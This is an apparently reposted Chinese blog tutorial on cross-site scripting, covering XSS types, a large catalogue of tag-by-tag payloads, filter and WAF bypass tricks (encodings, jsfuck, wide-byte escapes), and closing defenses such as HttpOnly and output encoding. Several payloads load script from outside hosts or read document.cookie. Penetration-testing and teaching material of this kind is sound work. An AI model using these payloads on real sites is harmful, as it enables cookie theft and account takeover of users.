码迷,mamicode.com
首页 > 其他好文 > 详细

XSS

时间:2020-03-24 19:00:48      阅读:182      评论:0      收藏:0      [点我收藏+]

标签:利用   c中   sed   set   test   历史   html5   原理   xxx   

一丶XSS漏洞成因及原理

XSS也叫Cross Site Script,因为和CSS重名,所以改名XSS。

通常指黑客通过“HTML注入”纂改了页面,插入了恶意的脚本,从而在用户浏览页面时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是 跨域的,所以叫“跨站脚本”。但是发展到今天,由于Javascript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因, 这个名字保留了下来。 
假设一个页面把用户输入的参数输出到页面上:

1 <?php
2 $input=$_GET["param"];
3 echo "<div>".$input."</div>";
4 ?>

如果提交一段HTML代码:

http://www.zzh.com/test.php?param=alert(/xss/)

会发现alert(/xss/)被执行了,替换其他的js代码可远程获取用户的cookie,可直接使用cookie来登录用户账户。

二   XSS漏洞类型

1. 反射型XSS

 就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS)

 

2. 存储型XSS

把用户输入的数据”存储“在服务器端数据库。这种XSS具有很强的稳定性。 
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。

 

3. DOM型XSS

 

显性输出

DOM型XSS也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

Dom Xss 相比反射型 XSS,脑袋需要多思考一层。 也就是说, 我们关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么。 为了循序渐进,本例讲到的是,【输出】直接在源代码可见的情况。

①. 在学习 Dom Xss 之前,先来补习点 html, js 的基础知识。

<div id="a">xxx</div>
<script> document.getElementById("a").innerHTML="yyyyyy";
</script>

解释如下:

技术图片

②. 进一步,我们的 yyyyyy ,还可以是 HTML 代码。

<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML=" <img src=1> ";
</script>

效果如下:

技术图片

此时在没有过滤的情况下可进行xss攻击。

 

隐型输出 (不会显示在页面但可以触发)

我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。

function getParam(参数名){
    //获取地址栏参数,通常是 a=1&b=2&c=3;
    var x=location.search;//或者是 location.hash
    //此时 x="?a=1&b=2&c=3";
    //根据[参数名]取出参数名对应的值
    //例如 参数名=a, 则 y=1
    //例如 参数名=b, 则 y=2
    //至于这里怎么实现这个功能,可以用循环,可以用 indexOf,可以用正则 var y= 参数名对应的参数值;
    //返回 y return y;
}

它的作用呢?就是从地址栏的参数里取出内容。譬如: http://www.some.com/2.html?name=shouzi&age=20

我们在 2.html,要显示 name 对应的值。对应的代码则非常可能下面这样写:

<div id="nick">加载中...</div>
<script>
var a=getParam("name"); //获取地址栏里的 name 参数,即 shouzi document.getElementById("nick").innerHTML=a;
</script>

4. 上面是普通开发人员为了实现功能而写的代码,如果没有安全考虑,就会存在问题。 如果上面的地址变为了:

http://www.some.com/2.html?name=<img src=1 onerror=alert(1)>&age=20

那么变量 a 将会等于

<img src=1 onerror=alert(1)> document.getElementById("nick").innerHTML=a;

即变成了

document.getElementById("nick").innerHTML="<img src=1 onerror=alert(1)>";

XSS中常见可利用标签

  1. 依据输出位置进行XSS

    • 标签之间:

      模型: <div>[xss]</div>
      payload<script>alert(1)</script>或者<img src=1 onerror=alert(1)>
      
      这些标签有:
      <a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset>  <embed> <svg> <video> <audio>
             
      自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。
      <textarea></textarea>
      <title></title>
      <iframe></iframe>
      <noscript></noscript>
      <noframes></noframes>
      <xmp></xmp>
      <plaintext></plaintext>
      其他:<math></math>也不行
    • 在JS标签内:

      在该位置,空格被过滤,可用/**/代替空格。输出在注释中,通过换行符%0a %0d使其逃逸出来。

      1. 不在字符串内。

        判断<>/是否被过滤。如果没有,那么直接插入就可以。

        <script>
        [output]
        </script>
        payload:</script><script>alert(1)</script>
        
      2. 在字符串中

        此时需要闭合字符串,并保证插入的JS代码符合语法规范。

        如:

        <script>
        Var x="Input";
        </script>
        

        input是输出点,我们首先要闭合双引号,才能保证XSS成功。如果我们无法闭合包括字符串的引号(引号被转义),就很难利用,除非存在两个输出点或宽字节。

        前者在引号被转义成HTML实体时有效。此外,两个输出点的情况,也需要在某些特殊情况下才能构造。例子可参考[那些年我们一起学XSS 反斜线复仇记](https://wizardforcel.gitbooks.io/xss-naxienian/content/4.html)

        后者,在引号被转义成"时有效。在网页为GBK编码时,存在宽字节问题。

        宽字节问题:

        GBK编码第一字节(高字节)的范围为:0x81~0xFE

        GBK编码第二字节(低字节)的范围为:0x40~0x7E、0x80~0xFE

        \符号的十六进制为0x5C, 刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么

        恰好会被组合成一个合法的字符,从而\被吃掉,双引号逃逸出来。

        例子可参考那些年我们一起学XSS|宽字节复仇记

        ?

    • 输出在HTML属性内

      ?

      1. 文本属性中

        例如:<input value="输出"><img onload="...[输出]..."> ,再比如 <body style="...[输出]...">

        • 无引号包裹,直接添加新的事件属性。
        • 有引号包括。首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。

        HTML的属性,如果被进行HTML实体编码(形如‘&#x27),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。

        当然,也可以闭合属性后,然后再执行脚本。

      2. src/href/action/xlink:href/autofocus/content/data 等属性

        直接使用伪协议绕过。

        javascript 伪协议: <a href=javascript:alert(2)>test</a>
        
        data 协议执行 javascript<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
        
        urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)
        
        不使用 href 的另外一种组合来执行 js<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>(均可) 或者: 
          <math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)
        

        如果不行,则测试添加事件进行触发。(首先还是需要闭合)

        如:<a href="test.com" onmouseover=alert(1)>ClickHere</a>

        ?

      3. on*事件中

        插入合乎逻辑的JS代码即可。也可以使用伪协议。

        常见事件

        onload 
        onclick
        onunload 
        onchange 
        onsubmit 
        onreset 
        onselect 
        onblur 
        onfocus 
        onabort 
        onkeydown 
        onkeypress 
        onkeyup 
        ondbclick 
        onmouseover 
        onmousemove 
        onmouseout 
        onmouseup 
        onforminput 
        onformchange 
        ondrag 
        ondrop
        

        ?

      4. style属性内及css代码之中IE可执行,并且在IE6以上被防御,不适合其他浏览器,基本已死。

        style="width:expression(js代码)"
        background-image:url(‘javascript:alert(2)‘)
        
    • 输出在meta标签

      
      <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
      

      还有一些猥琐的思路,就是通过给http-equiv设置set-cookie,进一步重新设置 cookie 来干一些猥琐的事情。

0x01 具体标签的Payload

  1. a标签

    • javascript伪协议:

      <a href=javascript:alert(2)>
      
    • data协议执行javascript:

      <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
      

    ?

    • urlencode版本:

      <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
      
    • 不使用href的另外一种组合来执行js:

      <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 
      

      或者:

      <math><a xlink:href=javascript:alert(1)></math>
      
  2. script标签

    • 最简单的测试payload:

      <script>alert(1)</script>
      
    • jsfuck版本:

      <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
      

      jsfuck

    • 各种编码版本:

      <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
      
      <script>prompt(-[])</script>//不只是alert。prompt和confirm也可以弹窗 
      
      <script>alert(/3/)</script>//可以用"/"来代替单引号和双引号 
      
      <script>alert(String.fromCharCode(49))</script> //我们还可以用char
      
      <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
      
      <script>setTimeout(alert(1),0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
      
  3. button标签

    • event事件实现js调用:

      <button/onclick=alert(1) >M</button>
      
    • html5的新姿势:

      需要交互的版本:

      <form><button formaction=javascript&colon;alert(1)>M
      

      不需要交互的版本:

      <button onfocus=alert(1) autofocus>
      
  4. p标签

    • 如果发现变量输出在p标签中,只要能跳出""就足够了:
      <p/onmouseover=javascript:alert(1); >M</p>
      
  5. img标签

    有些姿势是因为浏览器的不同而不能成功执行的。

    • 只在chrome下有效:

      <img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效
      
      <img/src/onerror=alert(1)>  //只在chrome下有效
      
    • 其他:

      <img src=x onerror=alert(1)> 
      
      <img src="x:kcf" onerror="alert(1)">
      
  6. body标签

    通过event事件来调用js

    <body onload=alert(1)> 
    <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
    
  7. var标签

    <var onmouseover="prompt(1)">M</var>
    
  8. div标签

    <div/onmouseover=‘alert(1)‘>X
    
    <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
    
  9. iframe标签

    有时候我们可以通过实体编码、换行和Tab字符来bypass。我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash,只有在crossdomain.xml文件中,allow-access-from domain=”*“允许从外部调用swf时,才可以通过flash来事先xss attack。

    下面的&Tab;为tab字符

    <iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 
    
    <iframe SRC="http://0x.lv/xss.swf"></iframe> 
    
    <IFRAME SRC="javascript:alert(1);"></IFRAME> 
    
    <iframe/onload=alert(1)></iframe>
    
  10. meta标签

测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来干一些猥琐的事情。

  <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
  1. object标签

    和a标签的href属性的玩法是一样的,优点是无需交互。

    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
    
  2. marquee标签

    <marquee onstart="alert(‘1‘)"></marquee>
    
  3. isindex标签

    在一些只针对属性做了过滤的webapp中,action很有可能是漏网之鱼。

    <isindex type=image src=1 onerror=alert(1)> 
    
    <isindex action=javascript:alert(1) type=image>
    
  4. input标签

    通过event来调用js。和button一样通过autofocus可以达到无需交互即可弹窗的效果。

    <input onfocus=javascript:alert(1) autofocus> 
    
    <input onblur=javascript:alert(1) autofocus><input autofocus>
    
  5. select标签

    <select onfocus=javascript:alert(1) autofocus>
    
  6. textarea标签

    <textarea onfocus=javascript:alert(1) autofocus>
    
  7. keygen标签

    <keygen onfocus=javascript:alert(1) autofocus>
    
  8. frameset标签

    <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 
    
  9. embed标签

    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome 
    
    <embed src=javascript:alert(1)> //firefox
    
  10. svg标签

    <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
    
    <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效
    
  11. math标签

    <math href="javascript:javascript:alert(1)">CLICKME</math> 
    
    <math><y/xlink:href=javascript:alert(51)>test1 
    
    <math> <maction actiontype="statusline#http://wangnima.com" xlink:href="javascript:alert(49)">CLICKME 
    
  12. video标签

    <video><source onerror="alert(1)"> 
    
    <video src=x onerror=alert(48)>
    

    ?

  13. audio标签

    <audio src=x onerror=alert(47)>
    
  14. background属性

    <table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
    

    ?

  15. poster属性

    <video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
    
  16. code属性

    <applet code="javascript:confirm(document.cookie);"> // Firefox有效
    
    embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
    
  17. expression属性

    <img style="xss:expression(alert(0))"> // IE7以下
    
    <div style="color:rgb(‘‘&#0;x:expression(alert(1))"></div> // IE7以下
    
    <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
    

XSS过waf

  • 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过<scr<script>ipt>

  • 大小写绕过:<sCript>

  • alert被过滤,可以尝试prompt和confirm

  • 没有引号和分号:<IMG SRC=javascript:alert(‘XSS‘)>

  • 空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>

  • 反引号妙用:

  • 长度限制时: <q/oncut=alert(1)>//在限制长度的地方很有效

  • 单引号及双引号被过滤情况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

  • javascript伪协议

    <a href="javascript:alert(/test/)">xss</a>
    <iframe src=javascript:alert(‘xss‘);height=0 width=0 /><iframe>利用iframe框架标签
    
  • 畸形payload:<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

  • /的妙用:<script>alert(/3/)</script>

  • 括号被过滤,可以使用throw来抛出数据

    <a onmouseover="javascript:window.onerror=alert;throw 1">2</a>

    <img src=x onerror="javascript:window.onerror=alert;throw 1">

    以上两个测试向量在 Chrome 和 IE 上会出现一个 “uncaught” 错误,可以用下面的向量代替(下面向量在FireFox上测试失败)

    <body/onload=javascript:window.onerror=eval;throw‘=alert\x281\x29‘;>

  • 当=();:被过滤时:<svg><script>alert&#40/1/&#41</script>opera 中可以不闭合 <svg><script>alert&#40 1&#41 // Opera可查

  • 过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>;

  • 无法使用href:

    <a onmouseover="alert(document.cookie)">xxs link</a>
    在chrome下,其回补全缺失的引号。因此,也可以这样写:
    <a onmouseover=alert(document.cookie)>xxs link</a>
    
    • 解决限制字符(要求同页面)

      <script>z=document.</script>
      <script>z=z+write(“‘</script>
      <script>z=z+<script</script>
      <script>z=z+src=ht</script>
      <script>z=z+tp://ww’</script>
      <script>z=z+w.shell</script>
      <script>z=z+.net/1.</script>
      <script>z=z+js></sc’</script>
      <script>z=z+ript>)</script>
      <script>eval_r(z)</script>
      

      ?

    • 编码:

      • JS函数(如eval,settimeout)还有就是href= action= formaction= location= on*= name= background= poster= src= code=这些地方,可以配合编码。此外,data属性可以base64编码。

        1. js16进制

          <script>eval(js+16进制加密”)</script>
          <script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
          编码要执行的语句↓
          Alert(xss)
          
        2. js unicode

          <script>eval("unicode加密")</script>
          //js unicode加密 解决alert()被过滤
          <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
          
        3. String.fromCharCode函数(不需要任何引号,必须函数内)

          <script>eval(String.fromCharCode编码内容))</script>
          <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
          
        4. jsfuck版本

          <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
          
        5. HTML编码:

              <img src=‘1‘ onerror=‘aler&#x0074;(1)‘>
          
        6. base64编码(仅data支持)

               <object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
               格式:
               Data:<mime type>,<encoded data>
               Data //协议
               <mime type> //数据类型
               charset=<charset>  //指定编码
               [;base64] //被指定的编码
               <encoded data> //定义data协议的编码
               特点:不支持IE
          
  • 存在json数据解析 context: <?=json_encode($_GET[‘x‘])?> payload: ?x=<img+src=x+onerror=ö-alert(1)>

  • SVG 标签

    当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg> YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)// 如果把 “ 编码一些他仍然能够执行: <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

五丶XSS防御策略

HttpOnly 与 XSS防御

1.

XSS 一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。

一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响, 因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操 作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

2.

XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码

也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击

XSS

标签:利用   c中   sed   set   test   历史   html5   原理   xxx   

原文地址:https://www.cnblogs.com/zzhoo/p/12560683.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!